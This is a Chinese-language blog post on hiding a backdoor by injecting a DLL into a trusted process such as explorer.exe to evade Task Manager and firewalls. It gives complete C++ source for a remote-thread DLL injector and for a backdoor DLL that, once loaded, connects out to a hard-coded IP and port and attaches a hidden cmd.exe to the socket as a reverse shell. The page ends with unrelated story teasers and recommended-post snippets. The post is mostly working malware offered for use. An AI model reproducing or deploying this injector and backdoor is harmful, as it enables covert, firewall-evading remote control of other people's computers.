安全之路 —— 借助DLL進(jìn)行遠(yuǎn)程線(xiàn)程注入實(shí)現(xiàn)穿墻與隱藏進(jìn)程

簡(jiǎn)介

???????大多數(shù)后門(mén)或病毒要想初步實(shí)現(xiàn)隱藏進(jìn)程,即不被像任務(wù)管理器這樣典型的RING3級(jí)進(jìn)程管理器找到過(guò)于明顯的不明進(jìn)程腊满,其中比較著名的方法就是通過(guò)遠(yuǎn)程線(xiàn)程注入的方法注入將惡意進(jìn)程的DLL文件注入系統(tǒng)認(rèn)可的正常進(jìn)程遏插,你會(huì)發(fā)現(xiàn)任務(wù)管理器以及找不到獨(dú)立出現(xiàn)的惡意進(jìn)程項(xiàng)了臼寄。反向連接型后門(mén)采用這種技術(shù)伪朽,注入防火墻認(rèn)可的進(jìn)程(例如大部分系統(tǒng)進(jìn)程,像explorer.exe就很常見(jiàn))還能夠獲得一定的穿墻效果铭乾。

??????? 進(jìn)程注入雖然已經(jīng)是將近10年前的技術(shù)了,但是今天出現(xiàn)的很多新型黑客技術(shù)大多數(shù)還是基于這類(lèi)老技術(shù)演變而來(lái)的娃循。

C++代碼樣例

1.進(jìn)程注入工具源碼:

//////////////////////////////////////
//
// FileName : injectDll.cpp
// Creator : PeterZ1997
// Date : 2018-5-15 23:58
// Comment : DLL inject module
//
//////////////////////////////////////

#pragma once
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <strsafe.h>
#include <windows.h>
#include <tlhelp32.h>

using namespace std;

#define MAX_COUNT 255

/**
 * @brief 提高進(jìn)程權(quán)限
 * @param name   權(quán)限名
 */
BOOL EnableDebugPriv(LPCSTR name)
{
    HANDLE hToken;
    LUID luid;
    TOKEN_PRIVILEGES tp;
    // 打開(kāi)進(jìn)程令牌
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
        printf("[!]Get Process Token Error!\n");
        return false;
    }
    // 獲取權(quán)限Luid
    if (!LookupPrivilegeValue(NULL, name, &luid))
    {
        printf("[!]Get Privilege Error!\n");
        return false;
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    // 修改進(jìn)程權(quán)限
    if (!AdjustTokenPrivileges(hToken, false, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
    {
        printf("[!]Adjust Privilege Error!\n");
        return false;
    }
    return true;
}

/**
 * @brief 進(jìn)程注入函數(shù)
 * @param pid            進(jìn)程id
 * @param dllFileName    DLL文件的完整路徑
 */
BOOL InjectDllProc(DWORD pid, LPCTSTR dllFileName)
{
    HANDLE hRemoteProcess;
    CHAR *pszDllSpace;
    if (!EnableDebugPriv(SE_DEBUG_NAME))
    {
        return false;
    }
    if ((hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid)) == NULL)
    {
        printf("[!]Open Target Process Error!\n");
        return false;
    }
    if ((pszDllSpace = (CHAR*)VirtualAllocEx(hRemoteProcess, NULL, strlen(dllFileName) + 1, MEM_COMMIT, PAGE_READWRITE)) == NULL)
    {
        printf("[!]Alloc Space Error!\n");
        return false;
    }
    if (WriteProcessMemory(hRemoteProcess, pszDllSpace, (LPVOID)dllFileName, strlen(dllFileName) + 1, NULL) == 0)
    {
        printf("[!]Write to the Memory Error!\n");
        return false;
    }
    PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA");
    if (pfnStartAddr == NULL)
    {
        printf("[!]Get <LoadLibrary> Function Error!\n");
        return false;
    }
    HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pfnStartAddr, pszDllSpace, 0, NULL);
    if (hRemoteThread == NULL)
    {
        printf("[!]Create Remote Thread Error!\n");
        return false;
    }
    return true;
}

/**
 * @brief 獲取進(jìn)程id
 * @param procName  進(jìn)程名
 */
DWORD GetProcPid(LPCSTR procName)
{
    DWORD pid = 0;
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(pe32);
    HANDLE hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcSnap == INVALID_HANDLE_VALUE)
    {
        printf("[!]Can not Create Process Snap !\n");
        return -1;
    }
    BOOL bProc = Process32First(hProcSnap, &pe32);
    while (bProc)
    {
        if (!stricmp(procName, pe32.szExeFile))
        {
            return pe32.th32ProcessID;
        }
        bProc = Process32Next(hProcSnap, &pe32);
    }
    CloseHandle(hProcSnap);
    return pid;
}

/**
 * @brief 主函數(shù)
 */
int main(int argc, char* argv[])
{
    CHAR dllPath[MAX_COUNT] = "\0";
    WIN32_FIND_DATA wfd;
    if (argc != 3)
    {
        printf("[*Usage*] injectDll.exe <Process Name> <Dll Name>\n");
        return 0;
    }
    GetCurrentDirectory(sizeof(dllPath), dllPath);
    StringCchCat(dllPath, sizeof(dllPath), "\\");
    StringCchCat(dllPath, sizeof(dllPath), argv[2]);
    if (FindFirstFile(argv[2], &wfd) == INVALID_HANDLE_VALUE)
    {
        printf("[!] Can not Find Dll File !\n");
        return 0;
    }
    DWORD pid = GetProcPid(argv[1]);
    if (pid != -1)
    {
        if (!InjectDllProc(pid, dllPath))
        {
            printf("[!]Inject Dll Error!\n");
            return 0;
        }
        printf("[*]Inject Dll Success!\n");
    }
    else
    {
        printf("[*]Inject Dll Error!\n");
        return 0;
    }
    return 0;
}

2.Dll文件樣例源碼:

/////////////////////////////////////////////
//
// FileName : BackDoorDLL.cpp
// Creator : PeterZ1997
// Date : 2018-5-11 00:10
// Comment : 零管道后門(mén)DLL
//
////////////////////////////////////////////

#pragma once
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <strsafe.h>
#include <WinSock2.h>
#include <windows.h>

#pragma comment(lib, "ws2_32")

using namespace std;

#define MAX_COUNT 255

/**
 * @brief 啟動(dòng)Cmd進(jìn)程炕檩,與socket實(shí)例通信
 * @param lpParameter    多線(xiàn)程函數(shù)參數(shù),此為傳入socket實(shí)例
 */
DWORD WINAPI StartShellProc(LPVOID lpParameter)
{
    CHAR cmdLine[MAX_COUNT] = "\0";
    SOCKET sServer = (SOCKET)lpParameter;
    STARTUPINFO si;
    GetStartupInfo(&si);
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sServer;
    GetSystemDirectory(cmdLine, sizeof(cmdLine));
    StringCchCat(cmdLine, sizeof(cmdLine), "\\cmd.exe");
    PROCESS_INFORMATION pi;
    CreateProcess(NULL, cmdLine, NULL, NULL, true, 0, NULL, NULL, &si, &pi);
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    return 0;
}

/**
 * @brief socket建立函數(shù)
 * @param lpParameter    多線(xiàn)程函數(shù)參數(shù)捌斧,這里傳入NULL
 */
DWORD WINAPI BackDoorThread(LPVOID lpParameter)
{
    CHAR szMessage[MAX_COUNT] = "===========> Hello,Admin <=============\n";
    WSADATA wsd;
    SOCKET sServer;
    sockaddr_in sin;
    if (WSAStartup(0x0202, &wsd)) return 0;
    if ((sServer = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) == INVALID_SOCKET)
    {
        return 0;
    }
    sin.sin_family = AF_INET;
    sin.sin_port = htons(45000);
    sin.sin_addr.S_un.S_addr = inet_addr("192.168.120.1");
    if (connect(sServer, (sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
    {
        return 0;
    }
    if (send(sServer, szMessage, strlen(szMessage), 0) == SOCKET_ERROR)
    {
        return 0;
    }
    HANDLE hThread = CreateThread(NULL, 0, StartShellProc, (LPVOID)sServer, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

/**
 * @brief DLL文件主函數(shù)
 */
BOOL WINAPI DllMain(
    _In_ HINSTANCE hinstDLL,
    _In_ DWORD     fdwReason,
    _In_ LPVOID    lpvReserved
)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        CreateThread(NULL, 0, BackDoorThread, NULL, 0, NULL);
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return true;
}
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末笛质,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子捞蚂,更是在濱河造成了極大的恐慌妇押,老刑警劉巖,帶你破解...
    沈念sama閱讀 221,695評(píng)論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件姓迅,死亡現(xiàn)場(chǎng)離奇詭異敲霍,居然都是意外死亡俊马,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,569評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門(mén)肩杈,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)柴我,“玉大人,你說(shuō)我怎么就攤上這事扩然∷胰澹” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 168,130評(píng)論 0 360
  • 文/不壞的土叔 我叫張陵夫偶,是天一觀(guān)的道長(zhǎng)界睁。 經(jīng)常有香客問(wèn)我,道長(zhǎng)兵拢,這世上最難降的妖魔是什么翻斟? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 59,648評(píng)論 1 297
  • 正文 為了忘掉前任,我火速辦了婚禮卵佛,結(jié)果婚禮上杨赤,老公的妹妹穿的比我還像新娘应民。我一直安慰自己断部,他們只是感情好梭依,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,655評(píng)論 6 397
  • 文/花漫 我一把揭開(kāi)白布怕午。 她就那樣靜靜地躺著券勺,像睡著了一般绢掰。 火紅的嫁衣襯著肌膚如雪没酣。 梳的紋絲不亂的頭發(fā)上舀患,一...
    開(kāi)封第一講書(shū)人閱讀 52,268評(píng)論 1 309
  • 那天蚓峦,我揣著相機(jī)與錄音舌剂,去河邊找鬼。 笑死暑椰,一個(gè)胖子當(dāng)著我的面吹牛霍转,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播一汽,決...
    沈念sama閱讀 40,835評(píng)論 3 421
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼避消,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了召夹?” 一聲冷哼從身側(cè)響起岩喷,我...
    開(kāi)封第一講書(shū)人閱讀 39,740評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎监憎,沒(méi)想到半個(gè)月后纱意,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 46,286評(píng)論 1 318
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡鲸阔,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,375評(píng)論 3 340
  • 正文 我和宋清朗相戀三年偷霉,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了迄委。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,505評(píng)論 1 352
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡腾它,死狀恐怖跑筝,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情瞒滴,我是刑警寧澤曲梗,帶...
    沈念sama閱讀 36,185評(píng)論 5 350
  • 正文 年R本政府宣布,位于F島的核電站妓忍,受9級(jí)特大地震影響虏两,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜世剖,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,873評(píng)論 3 333
  • 文/蒙蒙 一定罢、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧旁瘫,春花似錦祖凫、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 32,357評(píng)論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至宁仔,卻和暖如春稠屠,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背翎苫。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,466評(píng)論 1 272
  • 我被黑心中介騙來(lái)泰國(guó)打工权埠, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人煎谍。 一個(gè)月前我還...
    沈念sama閱讀 48,921評(píng)論 3 376
  • 正文 我出身青樓攘蔽,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親呐粘。 傳聞我的和親對(duì)象是個(gè)殘疾皇子秩彤,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,515評(píng)論 2 359

推薦閱讀更多精彩內(nèi)容

  • 第三天順利結(jié)束,今天是很特殊的一天事哭,因?yàn)樯眢w不適,導(dǎo)致在作業(yè)方面質(zhì)量有一定的影響瓜富,也帶有一點(diǎn)愧疚鳍咱,因?yàn)槲乙詾?..
    韋冠吾閱讀 237評(píng)論 0 0
  • 字:凡~先定位是凡人,再按成長(zhǎng)規(guī)律做好凡事与柑。 文:記得母親去添丁的戚家道喜谤辜,母親畢恭畢敬地獻(xiàn)上禮物黨對(duì)方推辭時(shí)母親...
    老區(qū)游子閱讀 451評(píng)論 0 1
  • 說(shuō)實(shí)話(huà)蓄坏,要把握用戶(hù)需求真的是門(mén)大學(xué)問(wèn),畢竟丑念,有的時(shí)候你連自己要什么都糊里糊涂呢涡戳! 早之前,有個(gè)朋友A小姐脯倚,對(duì)現(xiàn)有的...
    羽扇綸巾_Q醬閱讀 144評(píng)論 1 2
  • 近年來(lái)渔彰,支付寶、財(cái)付通之外推正,京東恍涂、平安、萬(wàn)達(dá)植榕、百度都在努力打造旗下支付平臺(tái)再沧,爭(zhēng)取構(gòu)建支付江湖的“第三極”,但鹿死誰(shuí)...
    i聚合閱讀 167評(píng)論 0 0
  • iOS高級(jí)程序師技術(shù)群:622177838尊残,期待你的加入 音效的播放 1.獲得音效文件的路徑 NSURL *url...
    YimG閱讀 1,401評(píng)論 0 0